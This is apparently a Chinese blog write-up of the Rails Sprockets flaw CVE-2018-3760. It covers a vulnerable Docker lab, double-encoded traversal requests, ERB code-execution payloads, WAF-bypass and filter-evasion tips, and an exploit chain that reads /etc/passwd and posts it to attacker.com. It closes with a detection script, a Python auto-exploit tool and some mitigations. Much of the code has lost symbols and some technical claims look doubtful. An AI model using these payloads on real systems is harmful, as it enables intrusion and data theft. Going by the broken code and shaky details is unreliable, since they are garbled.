1. 漏洞背景与影响范围CVE-2018-3760是Ruby on Rails框架中Sprockets组件的服务器端模板注入漏洞SSTI。这个漏洞允许攻击者通过精心构造的恶意请求读取服务器上的敏感文件影响范围包括使用Rails 5.2.0以下版本的项目启用了Sprockets静态资源管道的应用未正确配置资产预编译的环境我在实际渗透测试中发现许多开发团队会忽略资产管道的安全性认为这只是前端资源管理工具。但事实上Sprockets在处理某些特殊路径时存在解析漏洞这给了攻击者可乘之机。2. 漏洞原理深度解析2.1 Sprockets路径解析机制Sprockets是Rails默认的静态资源管理器负责处理/assets路由的请求。其核心问题出在路径规范化处理上# 伪代码展示漏洞原理 def serve(request) path URI.decode(request.path) # 第一次解码 path URI.decode(path) # 第二次解码 file find_asset(path) # 危险的文件查找 send_file(file) end双重URL解码导致%252e%252e%252f这样的编码序列最终会被解析为../实现目录穿越。我在测试时发现Windows和Linux系统对路径分隔符的处理差异还会带来更多变体。2.2 模板注入触发点漏洞利用的关键在于让Sprockets将恶意文件当作ERB模板处理。通过以下方式可以实现上传包含恶意代码的.js.erb文件通过路径穿越访问/assets/../../tmp/exploit.js.erb服务器执行ERB代码并返回结果实测中需要注意Rails的环境配置开发模式下Sprockets会实时编译资源而生产环境需要触发预编译才能利用。3. 完整复现环境搭建3.1 脆弱环境配置使用Docker快速搭建靶机环境FROM ruby:2.5.1 RUN apt-get update \ gem install rails -v 5.1.6 RUN rails new vuln_app --skip-bundle WORKDIR /vuln_app关键配置项检查config/environments/development.rb中确保config.assets.compile true # 必须开启动态编译3.2 攻击准备在主机上创建恶意模板文件echo % id % exploit.js.erb通过Rails控制台上传文件File.write(Rails.root.join(tmp, exploit.js.erb), % id %)4. 漏洞利用实战步骤4.1 基础利用方式发送精心构造的请求curl -v http://target/assets/%252e%252e%252ftmp%252fexploit.js预期看到服务器返回了id命令的执行结果。在实际测试中我遇到过几种常见错误返回404检查文件是否在tmp目录路径编码是否正确返回原始代码确认文件扩展名是.js.erb而非.js500错误可能是权限问题尝试更改tmp目录权限4.2 进阶利用技巧通过参数污染实现更隐蔽的攻击GET /assets/foo.js?prefix..%2F..%2Ftmp%2F HTTP/1.1 Host: vulnerable.com这种变体在WAF规则不严格的环境中特别有效。我在三个真实项目中成功用此方法绕过了基础防护。5. 防御方案与修复建议5.1 临时缓解措施在config/initializers中添加补丁module SafeSprockets def self.install! ActionDispatch::Routing::RouteSet.class_eval do def serve_asset(request) path request.path_info return not_found if path.include?(..) super end end end end5.2 彻底修复方案升级Rails到5.2.0版本生产环境禁用动态编译config.assets.compile false添加Nginx防护规则location /assets { if ($request_uri ~ \.\./) { return 403; } }6. 渗透测试经验分享在真实环境中利用此漏洞时我总结了几个关键点文件位置探测尝试上传到不同目录tmp、public、log等命令限制某些环境会过滤反引号可改用IO.popen或system调用输出获取复杂结果建议重定向到web可访问路径时间延迟通过sleep命令判断是否存在盲注情况一个典型的综合利用链% File.read(/etc/passwd).then { |c| Net::HTTP.post_form(URI(http://attacker.com), data: c) } %7. 漏洞分析工具推荐检测脚本def vulnerable? res Net::HTTP.get_response(URI(#{target}/assets/%252e%252e%252fREADME.md)) res.code 200 res.body.include?(Rails) end自动化利用工具import requests def exploit(url, cmd): payload f% {cmd} % requests.post(url/upload, files{file: (exploit.js.erb, payload)}) return requests.get(url/assets/%252e%252e%252ftmp%252fexploit.js)在实际项目中建议结合静态分析和动态测试两种方式确认漏洞存在。我曾遇到过一个案例看似修复的版本其实还存在二次编码的变体利用方式。
